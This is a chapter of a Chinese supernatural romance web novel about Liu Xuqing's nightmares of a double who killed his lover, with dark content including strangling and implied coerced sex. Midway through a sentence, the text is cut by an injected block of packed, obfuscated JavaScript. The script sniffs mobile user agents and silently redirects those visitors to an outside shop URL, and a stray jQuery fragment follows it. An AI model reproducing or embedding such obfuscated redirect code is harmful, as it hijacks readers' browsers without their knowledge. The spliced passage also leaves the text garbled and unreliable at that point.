“不要抛下我。”
“不要离开我。”
“不要,背叛我。”
清明时节,细雨如针。
地上都是碎石砖瓦,走在上头,深一脚,浅一脚,又或者被较大的石块硌着脚掌心。
沿着河道走,逐渐有纸钱出现,或黄或白的草纸被泥水泡得半烂,沾满了泥水污渍,而越往里走,路上的纸钱就越多。
柳序青的意识还没有完全恢复,脚就已经不受控制地拖着身子走了很长一段路,这条河岸小道似乎极其漫长,他走得四肢酸痛都没有看到尽头,雾气越来越浓,四面八方半米开外已经视物不清的地步。
混杂着香火气的腥甜味不知道从什么时候浓郁起来,悄悄隐在雾气,无孔不入地侵略此间唯一的人类。
明明水汽氤氲,柳序青却觉得喉咙越发干涩。
他走得累极了,倦意压得眼皮沉重无比,雾气却在一瞬间消散,天忽然变暗,一旁的路灯显现出来,他看到有人蹲在不远处的河岸边。
那个人坐在地上,抱着膝盖,头支在大腿上,像是要把整个人都蜷起来。细细的泣音传过来,夹在雨声中,听不真切。
“你好,请问需要帮忙吗?”
柳序青走过去,俯下身,问道。
河岸边的人并不应答,只兀自呢喃着,哀伤哽咽的声音从喉间滚出,柳序青听了又听,总觉得这声音分外耳熟。
“那你的家在哪里,我送你回去,好吗?”柳序青一面琢磨这声音是不是在哪里听过,一面耐心地又问。
“……”那个人背对着他,依旧自顾自地哭,过了很久,他可能是觉得累了,调整了头枕着的动作,闷闷道,“他要和别人结婚了。”
柳序青僵住了。
刚才只是哭声和低喃,他分不大清,只认为这声音估计是源自于他见过的某个人,现在这人突然开口吐出一句完整的话,他才恍然大悟。
这哪是别人的声音,除了因为哭太久带来的微微沙哑,这声线分明和自己的分毫不差!
意识到这一点,柳序青骤然后退两边,心有余悸地看着那个人。
他想拔腿就跑,可是腿好像灌了千斤水泥重,竟然叫他再走不动一步。
那个人又动了两下,随后支着腿,慢悠悠地站起来,柳序青提到了的嗓子眼,可这时候连头和眼睛都不听话了,他动弹不得,撇不过去脸,眼睛也闭不上,死死地盯着那个人的动作。
和柳序青声音如出一辙的人转过头,果不其然,他看见了一张和自己一模一样的脸!
只是这个人没有留头发,一头短发被雨打得趴在头皮和额头上,眼眶泛着浓浓的红,面颊上泪痕交错,失魂落魄的,一副哭了很久的样子。
很难过的样子。
柳序青想。
他是平行世界的另一个自己吗?
那他在因为什么而难过呢?
瞪着许久的眼睛酸涩得要命,柳序青想要猛地眨眼,居然真的有所动作,目光也跟着下移,看到了被对面的“柳序青”紧紧攥在手里的东西。
青光若隐若现,他太过用力,就连修剪圆润的指尖也掐进掌心三分,柳序青照镜子一样,看着那人伸出手,颤抖着摊开掌心——
一枚雕刻精美的青鲤玉佩露了出来。
柳序青额角一跳。
那天他回海城时,从柳梅摆在他房门口香坛里挖出来的,恰好也是这样一枚青玉鲤鱼佩。柳序青对玉这种东西并不了解,只是大体一看觉得没什么两样,简直一个模子里倒出来的一样。
如果不是什么塑料制品,这世界上应该不会有完全一样的玉佩吧?
不过如果是平行世界的话,好像也可以理解。
但是为什么这个玉会反复出现在他的身边呢?
他不可避免地再一次想到周琴之前讲的那个故事。
“世有阴阳玉,状如双鱼衔尾,似八卦,有异能,可倒生死,逆阴阳。”
仔细一看,这个青鲤玉可不就是状如衔尾鱼,而眼上有一点白,正巧对应了八卦属阴的那一部分吗?
这世界上怎么会有这么巧的事?
偏偏就是他开始感觉到纪明潭的异样,偏偏就是听完周琴讲了那个故事后,他发现了这枚青玉。
如果不是梦的话,这一切实在诡异得没办法讲通。
柳序青抿唇,二十几年来建立起的相信科学的价值观此刻摇摇欲坠。
似乎,还有令他更难以接受的事在后头等着他一样。
真希望只是梦啊,一觉醒来,一切如常,所有的不对劲统统消失,他和纪明潭两无猜忌,白头到老。
“仙人在上,我愿倾尽所有,来世单凭仙人差遣,为奴为婢做牛做马但无怨言,只求爱人纪明潭能起死回生,回到我的身边,再也不要抛弃我、离开我、背叛我……”
正在这时,对面的“柳序青”开口了,他如同最虔诚的信徒一般,小心翼翼地捧着玉,近乎痴迷地凝望着,嘴里的话却是咬牙切齿,字字泣血,恨意盈了满腔。
再然后,他高举着玉,对着柳序青的方向,又或是对着柳序青身后满是建筑垃圾的碎石堆,直挺挺地跪下,腰将要弯。
而柳序青站在原地,神色漠然地看着与自己有着同样的脸的人做出这些动作。
旁边,雨打在河里,晕开无数波纹,千百万令人晕眩的圈生长,膨胀,消亡,再生,仿佛在掩藏水下涌动的庞然大物。
但也许只是一具尸体呢?
眼前的人说自己为爱人所抛弃背叛,那么,气急败坏的他,在胡闹推搡之余,不慎将失信的爱人推入河中,河水随着不停的雨上涨,吞没了罪行。
如果自己的梦是一场连续剧,那他之前在梦中翻看的那本日记本,未尝不可以是他现在所看到的“柳序青”与“他的纪明潭”的真相。
一个人误杀了自己的爱人,所以走投无路,寄希望于飘渺的神明,也不是没有可能。
柳序青忽然生出玩味的心理,他一面感同身受,代入眼前这个惨遭背叛人,心中慌乱悲愤,恨意与恐惧冲昏了头,也幻想着虚幻的神明能听到自己的祈愿,一面又脱离在外,只做这个故事的过客,想着看完这一切就等梦醒。
回到属于他的现实去。
他的现实……
柳序青想着,思维忽地有些钝了,梦做得太多,他好像也记不清自己的现实该是什么样子了。
反正大概,应该就是每天和纪明潭给资本家当牛做马还房贷车贷,闲下来就回家看看奶奶,再偶尔和那个女人,还有她的宝贝儿子联系联系,如此这般,再好不过了。
然而面前这个“柳序青”终究没有弯下腰。
男人鬼魅一样,在二人无知无觉的时候出现在跪倒在地的人身边,撑着伞。
伞面倾斜,风雨全都被阻挡在外,男人擎着笑意,抚上身下人的肩头。
“青青,我们回家吧。”
“柳序青”的动作僵住了。
被自己亲手推下水,淹死在河里的人,即使是自己求来的,但真的出现在眼前,谁知道他是死而复生而前来索命的厉鬼?
跪在地
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17729095|208919||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
上的人打起颤,恐惧快把他填满了,泪水决堤似的涌下来,半边身子都软了,无力倒在男人腿上。
男人微微低头,轻笑一声。
站在柳序青的方位,他只能看到怕得快发疯的人类,而男人是怎样的神情,他是看不到的。
到底是一如往昔的温柔,还是凶相毕露厉鬼索命?
柳序青忍不住再后退一步。
一个不留神,只听“啪”的一声,凹下的小坑污水四溅,柳序青心惊,就看见男人的头动了动,抬眼,叫他看见了金色的兽一样的瞳孔。
噩梦。
噩梦。
被关在黑暗中与怪物强行交/媾的噩梦再次浮现在眼前,胃里翻江倒海,柳序青猛地干呕,目光完全不敢看到两人在的地方,伪装的冷静淡漠理智顷刻间灰飞烟灭,他急匆匆地转身,发了疯似的一头砸进浓白的迷雾中。
而夹杂着腥味的香火气越发浓郁,他在迷蒙的雨中狂奔,热气从不可言说的地方升腾而起,逐渐蔓延至全身。
眼前的一切都模糊了,高热烧得他全身无力,而湿黏冰冷的东西贴心地缠过来,绕上他的脚腕。
四周的景象变了又变,雨停下,水声也远去,地上满是污泥的碎石路变成干燥的毯子,上面眨着一颗颗晶莹剔透的眼睛。
男人的脚出现在他眼前,他瘫坐在毯子上,抬头,看到被男人扛在肩上的人。
和自己一样的脸,头发却不像刚刚那个“柳序青”那样短,而是已经留得极长,已经长到可以挽起复杂的发髻。
就像古代新婚的妇人。
柳序青眨了眨眼睛。
而后天旋地转,再睁眼时,旁观的灵魂终于回归,男人将他肩上放下来,宽大的手在他颈间滑动,呷呢地抚摸他的喉结,然后猛地用力。
“呃!”
空气骤然被剥夺,喉间的挤压感愈发明显,柳序青瞪大了眼睛,手挣扎着去打眼前的男人,然而对于男人来讲,柳序青的反抗和蚍蜉撼树没什么区别,完全影响不了他的动作。
熟悉的信香铺天盖地地压过来,不知道是被掐得窒息了,还是又被配偶的气息夺去了理智,柳序青的挣扎逐渐慢了,眼里蒙上一层雾气。
他不由自主地低吟了一声。
男人嘲弄般哼笑一声,凑到柳序青的耳边。
“总是挣扎做什么?这不都是青青求来的吗?我不过是满足了青青的愿望,让青青求仁得仁。这么多次了,还是不懂事,偷学到的东西倒是不少,都已经能让现实中的青青入梦,作戏给自己看了。”
“我恨你。”失去挣扎的人清醒一瞬,恨恨地看过去,咬牙切齿,“他本来就不是什么好东西,我杀了他,大不了偿命就是,至于你,假货就是假货,永远成不了真的,况且你折磨我,羞辱我,还妄想成为他,真是可笑!”
“嗯,我知道。”“但那又怎样呢?”
柳序青从漫长的梦里醒来。
梦境杂乱无章,意识回笼后已经记不得太多。
他怔怔地坐在床头发呆,男人敲门进来了都没注意。
目光与纪明潭相接的一刻,柳序青忍不住打了个颤,甚至下意识做出往后缩的动作。
男人似乎没注意到这些,只是走过来,服侍大少爷一样伺候着柳序青起床,吃饭,上班。
直到人已经到公司了,久违的暖融融的阳光洒在身上,冰凉的手脚逐渐回温,柳序青才有了从大梦中恍然苏醒的实感。
“我去,周琴进ICU了!”
不知道谁在办公室里大喊一声。